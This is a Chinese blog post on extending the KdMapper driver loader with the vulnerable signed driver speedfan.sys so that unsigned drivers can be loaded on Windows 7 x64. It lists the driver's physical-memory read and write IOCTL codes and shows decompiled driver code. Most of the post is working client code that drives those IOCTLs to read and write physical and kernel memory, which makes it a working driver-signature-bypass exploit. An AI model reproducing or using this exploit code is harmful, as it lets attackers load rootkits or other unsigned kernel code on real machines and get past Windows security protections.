KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
| 驱动名称 | speedfan.sys |
| 时间戳 | 50DF59B7 |
| MD5 | 0FFE35F0B0CD5A324BBE22F02569AE3B |
| 文件版本 | 2.3.11.0 |
| 设备名称 | \\.\SpeedFan |
| 读物理内存 | 0x9C402428 |
| 写物理内存 | 0x9C40242C |
| Windows 7 | 支持 |
| Windows 10 | 不支持 |
| Windows 11 | 不支持 |
- NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
- {
- unsigned __int64 v2; // rax
-
- v2 = BugCheckParameter2;
- if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
- {
- v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
- if (!v2)
- v2 = 0x2B992DDFA232i64;
- BugCheckParameter2 = v2;
- }
- BugCheckParameter3 = ~v2;
- return CreateDevice(DriverObject, RegistryPath);
- }
- NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
- {
- NTSTATUS result; // eax
- _UNICODE_STRING* v5; // rdi
- size_t v6; // rax
- __int64 v7; // r8
- NTSTATUS v8; // eax
- NTSTATUS v9; // edi
- __int64 v10; // [rsp+20h] [rbp-38h]
- struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREF
- PDEVICE_OBJECT DeviceObject; // [rsp+68h] [rbp+10h] BYREF
-
- RtlInitUnicodeString(&DestinationString, aDeviceSpeedfan);
- result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);
- if (result >= 0)
- {
- DeviceObject->Flags |= 4u;
- v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;
- *(_DWORD*)&v5[2].Length = 0;
- *(_DWORD*)(&v5[2].MaximumLength + 1) = 0;
- LODWORD(v5[2].Buffer) = 0;
- v5[1].MaximumLength = RegistryPath->MaximumLength;
- v6 = RegistryPath->Length;
- v5[1].Buffer = &v5[7].Length;
- v5[1].Length = v6;
- memmove(&v5[7], RegistryPath->Buffer, v6);
- sub_175B4(v5);
- if ((int)sub_176C8(v5) >= 0)
- {
- v7 = *(unsigned int*)&v5[2].Length;
- if (_bittest((const int*)&v7, 0x1Du))
- {
- LODWORD(v10) = v5[2].Buffer;
- DbgPrint(
- "SpeedFan %s Built Dec 29 2012 21:59:34 Debug %08X Break %08X Setup %08X\n",
- aX20311,
- v7,
- *(unsigned int*)(&v5[2].MaximumLength + 1),
- v10);
- }
- }
- v8 = IoCreateSymbolicLink(v5, &DestinationString);
- v9 = v8;
- if (v8 >= 0 || v8 == 0xC0000035)
- {
- DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;
- DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;
- DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_114C8;
- DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
- result = 0;
- }
- else
- {
- IoDeleteDevice(DeviceObject);
- result = v9;
- }
- }
- return result;
- }
- __int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
- {
- _IO_STACK_LOCATION* pIosp; // rax
- int ntStatus; // ebx
- PHYSICAL_ADDRESS* pMemoryInfo; // rdi
- unsigned int nInputBufferLength; // er12
- SIZE_T nOutputBufferLength; // r13
- unsigned int nIoControlCode; // esi
-
- LONGLONG PhysicalAddressV31; // rbx
- PVOID pMappedIoSpaceV32; // rax
- void* pMappedIoSpaceV33; // r14
- LONGLONG PhysicalAddressV34; // rbx
- PVOID pMappedIoSpaceV35; // rax
- void* pMappedIoSpaceV36; // r14
-
- void* Dst; // [rsp+20h] [rbp-D8h]
-
- LONGLONG PhysicalAddressV52; // [rsp+70h] [rbp-88h]
- LONGLONG PhysicalAddressV53; // [rsp+70h] [rbp-88h]
-
- void* PhysicalAddress; // [rsp+100h] [rbp+8h]
- IRP* Irp; // [rsp+108h] [rbp+10h]
-
- Irp = pIrp;
- pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
-
- pIrp->IoStatus.Information = 0i64;
- ntStatus = 0xC0000023;
- pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;
-
- nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
- nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
- nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
- ......
- switch (nIoControlCode)
- {
- case 0x9C402428:
- if (nInputBufferLength >= 8 && (_DWORD)nOutputBufferLength)// 读物理内存
- {
- PhysicalAddressV34 = pMemoryInfo->QuadPart;
- PhysicalAddressV53 = pMemoryInfo->QuadPart;
- pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);
- pMappedIoSpaceV36 = pMappedIoSpaceV35;
- *(_QWORD*)MajorVersion = pMappedIoSpaceV35;
- if (pMappedIoSpaceV35)
- {
- if (_bittest(v55, 0xEu))
- {
- LODWORD(v47) = nOutputBufferLength;
- DbgPrint(
- "IOCTL_PHYMEM_READ ofo %p pad %08X_%08X vad %p siz %06X\n",
- v51,
- HIDWORD(PhysicalAddressV53),
- (unsigned int)PhysicalAddressV34,
- pMappedIoSpaceV35,
- v47);
- }
- memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);
- Irp->IoStatus.Information = nOutputBufferLength;
- ntStatus = 0;
- v59 = 0;
- MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);
- }
- else
- {
- ntStatus = 0xC0000088;
- }
- }
- goto LABEL_145;
- case 0x9C40242C:
- if (nInputBufferLength > 8) // 写物理内存
- {
- PhysicalAddressV31 = pMemoryInfo->QuadPart;
- PhysicalAddressV52 = pMemoryInfo->QuadPart;
- nInputBufferLength -= 8;
- pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);
- pMappedIoSpaceV33 = pMappedIoSpaceV32;
- *(_QWORD*)MajorVersion = pMappedIoSpaceV32;
- if (pMappedIoSpaceV32)
- {
- if (_bittest(v55, 0xEu))
- {
- LODWORD(v47) = nInputBufferLength;
- DbgPrint(
- "IOCTL_PHYMEM_WRITE ofo %p pad %08X_%08X vad %p siz %06X\n",
- v51,
- HIDWORD(PhysicalAddressV52),
- (unsigned int)PhysicalAddressV31,
- pMappedIoSpaceV32,
- v47);
- }
- memmove(pMappedIoSpaceV33, &pMemoryInfo[1], nInputBufferLength);
- Irp->IoStatus.Information = 0i64;
- ntStatus = 0;
- v59 = 0;
- MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);
- }
- else
- {
- ntStatus = 0xC0000088;
- }
- }
- goto LABEL_145;
-
- LABEL_145:
- if (ntStatus >= 0)
- goto LABEL_149;
- v5 = v51;
- goto LABEL_147;
- }
-
- ......
-
- LABEL_149:
- Irp->IoStatus.Status = ntStatus;
- IofCompleteRequest(Irp, 0);
- return (unsigned int)ntStatus;
- }
其中 0x9C402428 为读取物理内存, 0x9C40242C 为写入物理内存。
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
- #ifndef RtlOffsetToPointer
- #define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
- #endif
-
- #ifndef RtlPointerToOffset
- #define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
- #endif
-
- #define SPEEDFAN_DEVICE_TYPE (DWORD)0x9C40
- #define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x90A
- #define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B
-
- #define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY \
- CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
- #define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY \
- CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C
- NTSTATUS sokno_driver::SuperCallDriverEx(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG IoControlCode,
- _In_ PVOID InputBuffer,
- _In_ ULONG InputBufferLength,
- _In_opt_ PVOID OutputBuffer,
- _In_opt_ ULONG OutputBufferLength,
- _Out_opt_ PIO_STATUS_BLOCK IoStatus)
- {
- IO_STATUS_BLOCK ioStatus;
-
- NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
- NULL,
- NULL,
- NULL,
- &ioStatus,
- IoControlCode,
- InputBuffer,
- InputBufferLength,
- OutputBuffer,
- OutputBufferLength);
-
- if (ntStatus == STATUS_PENDING) {
-
- ntStatus = NtWaitForSingleObject(DeviceHandle,
- FALSE,
- NULL);
- }
-
- if (IoStatus)
- *IoStatus = ioStatus;
-
- return ntStatus;
- }
-
- BOOL sokno_driver::SuperCallDriver(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG IoControlCode,
- _In_ PVOID InputBuffer,
- _In_ ULONG InputBufferLength,
- _In_opt_ PVOID OutputBuffer,
- _In_opt_ ULONG OutputBufferLength)
- {
- BOOL bResult;
- IO_STATUS_BLOCK ioStatus;
-
- NTSTATUS ntStatus = SuperCallDriverEx(
- DeviceHandle,
- IoControlCode,
- InputBuffer,
- InputBufferLength,
- OutputBuffer,
- OutputBufferLength,
- &ioStatus);
-
- bResult = NT_SUCCESS(ntStatus);
- SetLastError(RtlNtStatusToDosError(ntStatus));
- return bResult;
- }
-
- BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR PhysicalAddress,
- _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
- _In_ ULONG NumberOfBytes,
- _In_ BOOLEAN DoWrite)
- {
- BOOL bResult = FALSE;
- DWORD dwError = ERROR_SUCCESS;
-
- __try {
-
- if (DoWrite)
- {
- PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);
- if (pWriteInfo)
- {
- pWriteInfo->QuadPart = PhysicalAddress;
- RtlCopyMemory(&pWriteInfo[1], Buffer, NumberOfBytes);
- bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);
- if (!bResult)
- {
- Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");
- }
- }
- else
- {
- Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\n");
- }
- }
- else {
- PHYSICAL_ADDRESS address;
- address.QuadPart = PhysicalAddress;
- bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, &address, sizeof(address), Buffer, NumberOfBytes);
- if (!bResult)
- {
- Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");
- }
- }
- }
- __except (EXCEPTION_EXECUTE_HANDLER) {
- bResult = FALSE;
- dwError = GetExceptionCode();
- Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
- }
-
-
- SetLastError(dwError);
- return bResult;
- }
-
- BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR PhysicalAddress,
- _In_ PVOID Buffer,
- _In_ ULONG NumberOfBytes)
- {
- return SuperReadWritePhysicalMemory(DeviceHandle,
- PhysicalAddress,
- Buffer,
- NumberOfBytes,
- FALSE);
- }
-
- BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR PhysicalAddress,
- _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
- _In_ ULONG NumberOfBytes)
- {
- return SuperReadWritePhysicalMemory(DeviceHandle,
- PhysicalAddress,
- Buffer,
- NumberOfBytes,
- TRUE);
- }
-
- BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR Address,
- _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
- _In_ ULONG NumberOfBytes)
- {
- BOOL bResult;
- ULONG_PTR physicalAddress = 0;
-
- SetLastError(ERROR_SUCCESS);
-
- bResult = SuperVirtualToPhysical(DeviceHandle,
- Address,
- &physicalAddress);
-
- if (bResult) {
-
- bResult = SuperReadWritePhysicalMemory(DeviceHandle,
- physicalAddress,
- Buffer,
- NumberOfBytes,
- TRUE);
-
- }
-
- return bResult;
- }
-
- BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(
- _In_ HANDLE DeviceHandle,
- _In_ ULONG_PTR Address,
- _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
- _In_ ULONG NumberOfBytes)
- {
- BOOL bResult;
- ULONG_PTR physicalAddress = 0;
-
- SetLastError(ERROR_SUCCESS);
-
- bResult = SuperVirtualToPhysical(DeviceHandle,
- Address,
- &physicalAddress);
-
- if (bResult) {
-
- bResult = SuperReadWritePhysicalMemory(DeviceHandle,
- physicalAddress,
- Buffer,
- NumberOfBytes,
- FALSE);
-
- }
-
- return bResult;
- }
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

使用 speedfan.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。